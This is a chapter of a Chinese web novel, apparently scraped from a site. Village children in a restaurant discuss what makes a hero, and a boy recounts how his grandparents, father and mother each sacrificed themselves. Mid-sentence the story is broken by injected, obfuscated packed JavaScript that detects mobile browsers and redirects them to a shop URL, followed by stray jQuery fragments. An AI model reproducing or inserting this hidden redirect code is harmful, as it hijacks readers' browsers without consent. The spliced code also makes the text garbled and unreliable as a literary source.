“……他成不了英雄的。”宁向阳坐在餐馆孩子们围成的小圈中央，语气异常认真，
“我妈妈说过，想当英雄得先是个男子汉才行。可他做的事里一点男子汉的样子都没有。”
餐馆里此刻坐着一群小学生，都是听说林溪受伤后跑来看望兼凑热闹的。
林溪额头上那块显眼的红肿成了话题的中心，大家七嘴八舌谴责着那对母子。
“英雄？”其他孩子听得一愣，有点跟不上宁向阳这跳跃的思维。
沐宜歌坐在宁向阳旁边，闻言轻轻“嗯”了一声。
她比其他孩子懂得多些，又和宁向阳相处了不短时间，大概能猜到他的逻辑。
她放下手里的课本，清脆的声音打破了短暂的迷惑：“英雄有很多种解释，向阳哥说的英雄，大概是指那些为了保护别人、为了大家的利益，不怕危险、甘愿付出的人。而他说的男子汉，指的是有责任感、有勇气、诚实守信、懂得尊重别人的人。”
“对对对！宜歌你太厉害了！说得比我妈妈还清楚！”宁向阳眼睛一下子亮了，用力点头，脸上满是钦佩。
其他孩子也恍然大悟。
林溪坐在一旁的小凳上，怀里抱着台风，有一下没一下地给它顺毛。
今天那件事以林溪用“三天电视优先权”达成和解告终，此刻台风正享受着林溪的伺候。
听到这儿，林溪提出疑问：“可是向阳哥，为什么一定要先成为男子汉，才能当英雄呢？我觉得这没有谁先谁后的关系吧？”
这个问题把宁向阳问住了。
他拧着眉头，努力回想，可记忆里妈妈好像只说了结论，没说为什么。
他有些不好意思地挠挠头：“我不知道，妈妈就是这么说的，可能是我忘了？”
沐宜歌接过话头，试图进一步解释：“因为想当英雄，不能光靠嘴上说说，要真的去做事，而做事本身，就需要勇气、担当、诚实这些品质……”
她说着说着，声音渐渐低了下去，秀气的眉毛也微微蹙起。
其实，这话的逻辑并不完全严密。
英雄和男子汉特质有重叠，但并非严格的先后关系。
历史上、现实中，多少女性英雄，她们或许不符合男子汉的性别定义，但她们同样是顶天立地的英雄。
沐宜歌的思绪从书本定义跳脱出来，结合王七染阿姨对宁向阳说这话时的具体情景。
一个母亲，在丈夫牺牲后，只剩下自己和儿子，对智力特殊的儿子最朴素的期盼。
想通了这一点，沐宜歌没有再深入辨析那些逻辑漏洞。
她抬眸看向宁向阳，语气温和却肯定：“向阳哥，你妈妈说得对，你先努力成为一个男子汉，其他以后再说。”
“嗯！我听妈妈的！”宁向阳用力点头。
林溪若有所思地看了沐宜歌一眼，又瞥了瞥满脸认真的宁向阳，垂下眼眸，手指无意识地绕着台风耳朵边的绒毛。
“啊——！好麻烦啊！”一个胖乎乎的小男生哀嚎一声，整个人瘫在桌子上，像被晒蔫了的白菜，
“我以为只要长胡子、变声了就是男子汉了呢！原来还有这么多条条框框！太难了！”
沐宜歌喝了口水，声音清晰地说：“男子汉是一种选择，只要你心里认可它，并且努力去做，你随时都可以是个男子汉，或者……”
她顿了顿，看向刚才说话的小胖子，还有旁边几个同样有点泄气的女孩，“或者女汉子。”
“噗嗤——”一直在柜台后面竖着耳朵的林妈妈，忍不住笑出了声。
见孩子们齐刷刷看过来，她忍着笑，温柔地说道：“对啊，咱们女孩子，可以当女汉子嘛！一样厉害！”
“那我要当女汉子！”一个扎着羊角辫、平时就风风火火的小姑娘立刻挺起小胸脯，大声宣布。
“我也要！”
“我也是！”
其他几个女孩也纷纷响应，气氛一下子又活跃起来。
“对了，向阳哥，”一个瘦瘦小小的男孩眨巴着眼睛，提出了新问题，
“为什么你总是只说你妈妈讲过什么呀？你爷爷、奶奶，还有你爸爸呢？他们没跟你说过什么吗？”
宁向阳脸上的笑容淡了一些，他摇摇头：“我爷爷在我还没出生的时候就走了，我听妈妈说的，他说国家需要他，他就去帮忙了，后来没有回来。”
“啊……好可怜……”几个心软的孩子立刻小声感叹，脸上露出同情。
“我爷爷不可怜！”宁向阳摆手，声音提高了一些，眼神很坚定，
“妈妈说了，爷爷是英雄！他保护了我们的国家。妈妈还说，有国才有家！我觉得爷爷要是知道，肯定也不喜欢别人说他可怜。”
孩子们似懂非懂地点点头。
“那我奶奶呢……”宁向阳继续说，眼神飘向窗外，仿佛在回忆什么极其遥远的事情，
“我没有印象了，听妈妈说，那时候村里没水喝，好多人病了。我奶奶就和村里其他爷爷奶奶一起进山去找。后来水找到了，可我奶奶回来没多久也走了。”
有些年纪大点的孩子，隐约听家里大人提起过那场大旱，看向宁向阳的眼神更加复杂。
宁向阳似乎察觉到气氛有些沉重，他连忙又摆摆手，语气急切地说：“我奶奶她也是英雄！她和那些爷爷奶奶救了全村好多人，现在每年都还有人去看望她们呢！”
“可是……”
沐宜歌握紧了手中的杯子，忍不住问：“那个时候，为什么不找政府，不找警察帮忙呢？他们应该负责解决这些问题呀。”
宁向阳茫然地眨了眨眼，看向大家，困惑地问：“找政府？政府可以帮我们找到水吗？”
“当然可以啊！”
“那里的叔叔阿姨就是帮大家解决问题的！”
几个孩子七嘴八舌地肯定道。
宁向阳低下头，努力想了很久，最后还是摇了摇头，声音低了下去：“我不知道，妈妈好像说找过的。但是那里的人一直让我们等消息，等了很久很久……最后，奶奶她们就自己去了。”
他的语气里没有抱怨，只是陈述一个他听到的、无法理解的事实。
这时，林爸爸端着一杯水从后厨走出来，听到孩子们的对话，叹了口气，插话道：
“向阳他奶奶那个时候，有些当官不干实事，后来宁奶奶她们那事儿被上面知道了，才把那些人给撸下去了。现在镇上的干部，好多都是后来换上的，跟以前不一样了。”
“啊？！”孩子们发出一片惊呼。
“他们怎么能这样啊！”一个男孩气得站了起来，小脸涨得通红，
“我二叔就在别的镇工作，他总跟我说，在其位要谋、谋……”
他卡壳了，焦急地抓耳挠腮。
“在其位，谋其职。”沐宜歌轻声接上，并向周围投来询问目光的伙伴解释，
“意思是，坐在哪个位置上，就要努力做好那个位置该做的事情。”
“哦——”孩子们恍然大悟。
“那原来那些人不就是占着茅坑不拉屎嘛！”小
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16977214|189922||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
胖子一拍大腿，语出惊人。
“哈哈哈！说得对！”林爸爸被这小胖子的直白逗得哈哈大笑，给了他一个赞许的眼神。
小胖子得意地挺了挺胸膛，仿佛自己说了什么了不得的名言。
“向阳哥，那你爸爸呢？”林溪轻轻抚摸着台风的背，问最后一个人员。
提到爸爸，宁向阳的神情明显和说起爷爷奶奶时不一样了。
他低下头，手指无意识地绞着衣角，声音也变得更含糊：“我爸爸……我……我不知道……”
“你没见过你爸爸吗？”有孩子惊讶地问。
“见过的，但很少。”宁向阳努力回忆着，
“妈妈说，爸爸去很远很远的地方当警察，抓很坏很坏的坏人，很危险。他不能经常回来看我们，不然坏人会发现我们，我们也会有危险。”
他的语气里，有一种混合着理解、骄傲和深深失落的情绪。
“啊？那他也没留下照片吗？”孩子们的好奇心被彻底勾起来了，这听起来像电影里的情节。
宁向阳摇摇头，声音更低了：“没有照片，有一天来了两个叔叔，他们带了一个很小的木头盒子来。里面有一封信，还有一个小瓶子。”
他顿了顿，仿佛在回想那个场景，“妈妈看了那封信就放在火盆里烧掉了，后来，她带着我在山里找了个安静的地方，把那个小瓶子埋了进去，没有立牌子，什么都没有。”
“为什么呀？！”一个女孩捂住嘴，震惊地问。
宁向阳抬起头，眼中蒙着一层水雾，但努力不让眼泪掉下来，学着记忆里妈妈当时郑重的语气说：“妈妈说，爸爸抓的那些坏人，还有同伙在外面。不能留下任何信息，不能让坏人顺着找到我们。”
他吸了吸鼻子，“妈妈还说，爸爸也是英雄，他保护了那边很多很多人。”
“坏人？是什么样的坏人？比拐子佬还坏吗？”有孩子追问。
宁向阳依旧摇头：“我不知道……”
“呜哇——！”突然，坐在角落一个扎着蝴蝶结的小女孩毫无预兆地放声大哭起来，把大家都吓了一跳。
她旁边的小男孩立马举起双手，慌忙澄清：“不是我！我没碰她！”
“怎么了宝贝？怎么突然哭了？”林妈妈赶紧拿着纸巾走过来，蹲下身搂住小女孩，轻声哄着。
小女孩哭得上气不接下气，小手指着呆住的宁向阳，抽抽噎噎，断断续续地说：“呜……好、好可怜……向阳哥哥……他、他好可怜啊！都走了……呜……现在就剩他一个人了……呜哇——！”
她越说越伤心，哭得更大声了。
宁向阳完全愣住了。
他眨了眨眼，看着哭成泪人儿的小妹妹，脸上那带点憨气的笑容慢慢消失了，但也没有出现悲伤。
过了一会儿，他摇了摇头，很认真地说：“不，我不可怜。”
他环视了一圈眼神里带着各种情绪的伙伴们，声音不大，却有种奇异的力量：
“我爷爷是英雄，我奶奶是英雄，我爸爸是英雄，我妈妈也是英雄，他们都是很好很好的人，做了很了不起的事。”
“大家对我很好，能吃饱饭，有地方睡觉，现在还有这么多朋友一起玩。”
他顿了顿，那双总是清澈见底、有时显得懵懂的眼睛里，第一次如此清晰地映出一种近乎执拗的光：
“我只是……我也想像他们一样，成为英雄。”
餐馆里安静了一瞬。
窗外的阳光斜斜地照进来，尘埃在光柱里缓缓浮动。